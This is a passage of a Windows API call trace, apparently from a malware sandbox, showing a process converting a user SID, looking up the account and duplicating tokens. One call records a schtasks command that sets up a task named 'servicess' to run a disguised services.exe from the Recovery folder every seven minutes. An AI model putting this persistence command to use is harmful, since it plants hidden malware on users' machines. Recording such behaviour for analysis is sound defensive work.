IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0059.308] malloc (_Size=0x18) returned 0xeef00 [0059.308] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0059.308] malloc (_Size=0x18) returned 0xeef20 [0059.308] malloc (_Size=0x18) returned 0xef020 [0059.308] SysStringLen (param_1="S-1-") returned 0x4 [0059.308] SysStringLen (param_1="5") returned 0x1 [0059.308] memcpy (in: _Dst=0x339768, _Src=0x381268, _Size=0xa | out: _Dst=0x339768) returned 0x339768 [0059.308] memcpy (in: _Dst=0x339770, _Src=0x35ec68, _Size=0x4 | out: _Dst=0x339770) returned 0x339770 [0059.308] free (_Block=0xeef00) [0059.308] free (_Block=0xeef20) [0059.308] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0059.308] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0059.308] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0059.309] malloc (_Size=0x18) returned 0xeef20 [0059.309] malloc (_Size=0x18) returned 0xeef00 [0059.309] SysStringLen (param_1="S-1-5") returned 0x5 [0059.309] SysStringLen (param_1="-") returned 0x1 [0059.309] memcpy (in: _Dst=0x35ec68, _Src=0x339768, _Size=0xc | out: _Dst=0x35ec68) returned 0x35ec68 [0059.309] memcpy (in: _Dst=0x35ec72, _Src=0x381268, _Size=0x4 | out: _Dst=0x35ec72) returned 0x35ec72 [0059.309] free (_Block=0xef020) [0059.309] free (_Block=0xeef20) [0059.309] malloc (_Size=0x18) returned 0xeef20 [0059.309] malloc (_Size=0x18) returned 0xef020 [0059.309] SysStringLen (param_1="S-1-5-") returned 0x6 [0059.309] SysStringLen (param_1="21") returned 0x2 [0059.309] memcpy (in: _Dst=0x381268, _Src=0x35ec68, _Size=0xe | out: _Dst=0x381268) returned 0x381268 [0059.309] memcpy (in: _Dst=0x381274, _Src=0x339768, _Size=0x6 | out: _Dst=0x381274) returned 0x381274 [0059.309] free (_Block=0xeef00) [0059.309] free (_Block=0xeef20) [0059.309] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0059.309] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0059.309] malloc (_Size=0x18) returned 0xeef20 [0059.310] malloc (_Size=0x18) returned 0xeef00 [0059.310] SysStringLen (param_1="S-1-5-21") returned 0x8 [0059.310] SysStringLen (param_1="-") returned 0x1 [0059.310] memcpy (in: _Dst=0x339768, _Src=0x381268, _Size=0x12 | out: _Dst=0x339768) returned 0x339768 [0059.310] memcpy (in: _Dst=0x339778, _Src=0x35ec68, _Size=0x4 | out: _Dst=0x339778) returned 0x339778 [0059.310] free (_Block=0xef020) [0059.310] free (_Block=0xeef20) [0059.310] malloc (_Size=0x18) returned 0xeef20 [0059.310] malloc (_Size=0x18) returned 0xef020 [0059.310] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0059.310] SysStringLen (param_1="4219442223") returned 0xa [0059.310] memcpy (in: _Dst=0x337788, _Src=0x339768, _Size=0x14 | out: _Dst=0x337788) returned 0x337788 [0059.310] memcpy (in: _Dst=0x33779a, _Src=0x381268, _Size=0x16 | out: _Dst=0x33779a) returned 0x33779a [0059.310] free (_Block=0xeef00) [0059.310] free (_Block=0xeef20) [0059.310] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0059.310] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0059.310] malloc (_Size=0x18) returned 0xeef20 [0059.311] malloc (_Size=0x18) returned 0xeef00 [0059.311] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0059.311] SysStringLen (param_1="-") returned 0x1 [0059.311] memcpy (in: _Dst=0x337aa8, _Src=0x337788, _Size=0x28 | out: _Dst=0x337aa8) returned 0x337aa8 [0059.311] memcpy (in: _Dst=0x337ace, _Src=0x339768, _Size=0x4 | out: _Dst=0x337ace) returned 0x337ace [0059.311] free (_Block=0xef020) [0059.311] free (_Block=0xeef20) [0059.311] malloc (_Size=0x18) returned 0xeef20 [0059.311] malloc (_Size=0x18) returned 0xef020 [0059.311] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0059.311] SysStringLen (param_1="4223814209") returned 0xa [0059.311] memcpy (in: _Dst=0x327668, _Src=0x337aa8, _Size=0x2a | out: _Dst=0x327668) returned 0x327668 [0059.311] memcpy (in: _Dst=0x327690, _Src=0x339768, _Size=0x16 | out: _Dst=0x327690) returned 0x327690 [0059.311] free (_Block=0xeef00) [0059.311] free (_Block=0xeef20) [0059.311] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0059.311] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0059.311] malloc (_Size=0x18) returned 0xeef20 [0059.311] malloc (_Size=0x18) returned 0xeef00 [0059.311] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0059.312] SysStringLen (param_1="-") returned 0x1 [0059.312] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0059.312] memcpy (in: _Dst=0x34d994, _Src=0x339768, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0059.312] free (_Block=0xef020) [0059.312] free (_Block=0xeef20) [0059.312] malloc (_Size=0x18) returned 0xeef20 [0059.312] malloc (_Size=0x18) returned 0xef020 [0059.312] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0059.312] SysStringLen (param_1="3835049652") returned 0xa [0059.312] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x40 | out: _Dst=0x327668) returned 0x327668 [0059.312] memcpy (in: _Dst=0x3276a6, _Src=0x339768, _Size=0x16 | out: _Dst=0x3276a6) returned 0x3276a6 [0059.312] free (_Block=0xeef00) [0059.312] free (_Block=0xeef20) [0059.312] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0059.312] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0059.312] malloc (_Size=0x18) returned 0xeef20 [0059.312] malloc (_Size=0x18) returned 0xeef00 [0059.312] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0059.312] SysStringLen (param_1="-") returned 0x1 [0059.313] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0059.313] memcpy (in: _Dst=0x34d9aa, _Src=0x339768, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0059.313] free (_Block=0xef020) [0059.313] free (_Block=0xeef20) [0059.313] malloc (_Size=0x18) returned 0xeef20 [0059.313] malloc (_Size=0x18) returned 0xef020 [0059.313] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0059.313] SysStringLen (param_1="1000") returned 0x4 [0059.313] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x56 | out: _Dst=0x327668) returned 0x327668 [0059.313] memcpy (in: _Dst=0x3276bc, _Src=0x339768, _Size=0xa | out: _Dst=0x3276bc) returned 0x3276bc [0059.313] free (_Block=0xeef00) [0059.313] free (_Block=0xeef20) [0059.313] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0059.313] malloc (_Size=0x5e) returned 0xf0800 [0059.313] free (_Block=0xef020) [0059.313] malloc (_Size=0x18) returned 0xef020 [0059.314] free (_Block=0xf0800) [0059.314] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0059.315] GetLastError () returned 0x7a [0059.315] malloc (_Size=0x14) returned 0xeef20 [0059.316] malloc (_Size=0x16) returned 0xeef00 [0059.316] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef20, cchName=0xebccb4, ReferencedDomainName=0xeef00, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0059.316] malloc (_Size=0x18) returned 0xef040 [0059.316] malloc (_Size=0x18) returned 0xeef60 [0059.316] free (_Block=0xeef20) [0059.317] free (_Block=0xeef00) [0059.317] free (_Block=0xeff60) [0059.317] free (_Block=0xeef60) [0059.317] free (_Block=0xef040) [0059.317] free (_Block=0xef020) [0059.317] free (_Block=0xee240) [0059.318] malloc (_Size=0x48) returned 0xed270 [0059.318] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0059.326] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0059.326] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0059.326] malloc (_Size=0x18) returned 0xef020 [0059.326] CreateEnvironmentBlock () returned 0x1 [0059.333] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0059.333] malloc (_Size=0x18) returned 0xef040 [0059.333] CreateProcessAsUserW (in: hToken=0x2d4, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"servicess\" /sc MINUTE /mo 7 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"servicess\" /sc MINUTE /mo 7 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /f", lpProcessInformation=0xebcdc0*(hProcess=0x2fc, hThread=0x248, dwProcessId=0xee8, dwThreadId=0xeec)) returned 1 [0059.341] CloseHandle (hObject=0x2fc) returned 1 [0059.341] CloseHandle (hObject=0x248) returned 1 [0059.342] free (_Block=0xef040) [0059.342] DestroyEnvironmentBlock () returned 0x1 [0059.342] malloc (_Size=0x48) returned 0xed400 [0059.342] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4c81b4a0, dwHighDateTime=0x1d9eb0c)) [0059.342] SetEvent (hEvent=0x1f0) returned 1 [0059.342] CloseHandle (hObject=0x2e0) returned 1 [0059.342] CloseHandle (hObject=0x2d4) returned 1 [0059.406] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da90 [0059.406] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da90, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0059.406] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0059.731] SetLastError (dwErrCode=0x0) [0059.731] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0059.731] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0059.731] SetLastError (dwErrCode=0x0) [0059.731] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0059.731] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0059.731] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0059.731] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f510 [0059.731] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f510, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0059.731] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f510 | out: hHeap=0x2e0000) returned 1 [0059.733] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0059.734] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0059.734] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0059.734] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0059.734] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0059.734] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0059.734] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0059.736] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0059.736] GetCurrentThread () returned 0xfffffffffffffffe [0059.737] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x2d4) returned 1 [0059.737] malloc (_Size=0xd8) returned 0xf3750 [0059.737] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0059.737] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0059.737] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0059.737] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0059.738] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0059.738] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0059.738] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0059.738] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0059.738] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0059.739] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0059.739] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0059.739] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0059.739] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0059.739] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0059.739] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0059.740] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0059.740] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0059.740] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0059.740] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0059.743] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0059.743] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0059.743] malloc (_Size=0x18) returned 0xef040 [0059.743] DuplicateTokenEx (in: hExistingToken=0x2d4, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x2e0) returned 1 [0059.743] malloc (_Size=0x48) returned 0xed2c0 [0059.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4cbf9860, dwHighDateTime=0x1d9eb0c)) [0059.744] SetEvent (hEvent=0x1f0) returned 1 [0059.747] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0059.747] GetLastError () returned 0x7a [0059.747] malloc (_Size=0x2c) returned 0xee200 [0059.747] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0059.747] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0059.747] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0059.747] malloc (_Size=0x1c) returned 0xeff30 [0059.747] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0059.748] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0059.748] malloc (_Size=0x18) returned 0xef020 [0059.748] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0059.748] malloc (_Size=0x18) returned 0xeef60 [0059.748] malloc (_Size=0x18) returned 0xeef00 [0059.748] SysStringLen (param_1="S-1-") returned 0x4 [0059.748] SysStringLen (param_1="5") returned 0x1 [0059.748] memcpy (in: _Dst=0x35e8d8, _Src=0x35ec98, _Size=0xa | out: _Dst=0x35e8d8) returned 0x35e8d8 [0059.748] memcpy (in: _Dst=0x35e8e0, _Src=0x35e998, _Size=0x4 | out: _Dst=0x35e8e0) returned 0x35e8e0 [0059.748] free (_Block=0xef020) [0059.748] free (_Block=0xeef60) [0059.748] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0059.748] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0059.748] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0059.748] malloc (_Size=0x18) returned 0xeef60 [0059.748] malloc (_Size=0x18) returned 0xef020 [0059.748] SysStringLen (param_1="S-1-5") returned 0x5 [0059.748] SysStringLen (param_1="-") returned 0x1 [0059.748] memcpy (in: _Dst=0x35e998, _Src=0x35e8d8, _Size=0xc | out: _Dst=0x35e998) returned 0x35e998 [0059.748] memcpy (in: _Dst=0x35e9a2, _Src=0x35ec98, _Size=0x4 | out: _Dst=0x35e9a2) returned 0x35e9a2 [0059.748] free (_Block=0xeef00) [0059.748] free (_Block=0xeef60) [0059.749] malloc (_Size=0x18) returned 0xeef60 [0059.749] malloc (_Size=0x18) returned 0xeef00 [0059.749] SysStringLen (param_1="S-1-5-") returned 0x6 [0059.749] SysStringLen (param_1="21") returned 0x2 [0059.749] memcpy (in: _Dst=0x35ec98, _Src=0x35e998, _Size=0xe | out: _Dst=0x35ec98) returned 0x35ec98 [0059.749] memcpy (in: _Dst=0x35eca4, _Src=0x35e8d8, _Size=0x6 | out: _Dst=0x35eca4) returned 0x35eca4 [0059.749] free (_Block=0xef020) [0059.749] free (_Block=0xeef60) [0059.749] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0059.749] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0059.749] malloc (_Size=0x18) returned 0xeef60 [0059.749] malloc (_Size=0x18) returned 0xef020 [0059.749] SysStringLen (param_1="S-1-5-21") returned 0x8 [0059.749] SysStringLen (param_1="-") returned 0x1 [0059.749] memcpy (in: _Dst=0x35e8d8, _Src=0x35ec98, _Size=0x12 | out: _Dst=0x35e8d8) returned 0x35e8d8 [0059.749] memcpy (in: _Dst=0x35e8e8, _Src=0x35e998, _Size=0x4 | out: _Dst=0x35e8e8) returned 0x35e8e8 [0059.749] free (_Block=0xeef00) [0059.749] free (_Block=0xeef60) [0059.749] malloc (_Size=0x18) returned 0xeef60 [0059.750] malloc (_Size=0x18) returned 0xeef00 [0059.750] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0059.750] SysStringLen (param_1="4219442223") returned 0xa [0059.750] memcpy (in: _Dst=0x3382c8, _Src=0x35e8d8, _Size=0x14 | out: _Dst=0x3382c8) returned 0x3382c8 [0059.750] memcpy (in: _Dst=0x3382da, _Src=0x35ec98, _Size=0x16 | out: _Dst=0x3382da) returned 0x3382da [0059.750] free (_Block=0xef020) [0059.750] free (_Block=0xeef60) [0059.750] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0059.750] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0059.750] malloc (_Size=0x18) returned 0xeef60 [0059.750] malloc (_Size=0x18) returned 0xef020 [0059.750] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0059.750] SysStringLen (param_1="-") returned 0x1 [0059.750] memcpy (in: _Dst=0x337698, _Src=0x3382c8, _Size=0x28 | out: _Dst=0x337698) returned 0x337698 [0059.750] memcpy (in: _Dst=0x3376be, _Src=0x35e8d8, _Size=0x4 | out: _Dst=0x3376be) returned 0x3376be [0059.750] free (_Block=0xeef00) [0059.751] free (_Block=0xeef60) [0059.751] malloc (_Size=0x18) returned 0xeef60 [0059.751] malloc (_Size=0x18) returned 0xeef00 [0059.751] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0059.751] SysStringLen (param_1="4223814209") returned 0xa [0059.751] memcpy (in: _Dst=0x34da68, _Src=0x337698, _Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0059.751] memcpy (in: _Dst=0x34da90, _Src=0x35e8d8, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0059.751] free (_Block=0xef020) [0059.751] free (_Block=0xeef60) [0059.751] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0059.751] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0059.751] malloc (_Size=0x18) returned 0xeef60 [0059.751] malloc (_Size=0x18) returned 0xef020 [0059.751] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0059.751] SysStringLen (param_1="-") returned 0x1 [0059.751] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34db78) returned 0x34db78 [0059.751] memcpy (in: _Dst=0x34dbb4, _Src=0x35e8d8, _Size=0x4 | out: _Dst=0x34dbb4) returned 0x34dbb4 [0059.751] free (_Block=0xeef00) [0059.751] free (_Block=0xeef60) [0059.752] malloc (_Size=0x18) returned 0xeef60 [0059.752] malloc (_Size=0x18) returned 0xeef00 [0059.752] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0059.752] SysStringLen (param_1="3835049652") returned 0xa [0059.752] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0059.752] memcpy (in: _Dst=0x34daa6, _Src=0x35e8d8, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0059.752] free (_Block=0xef020) [0059.752] free (_Block=0xeef60) [0059.752] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 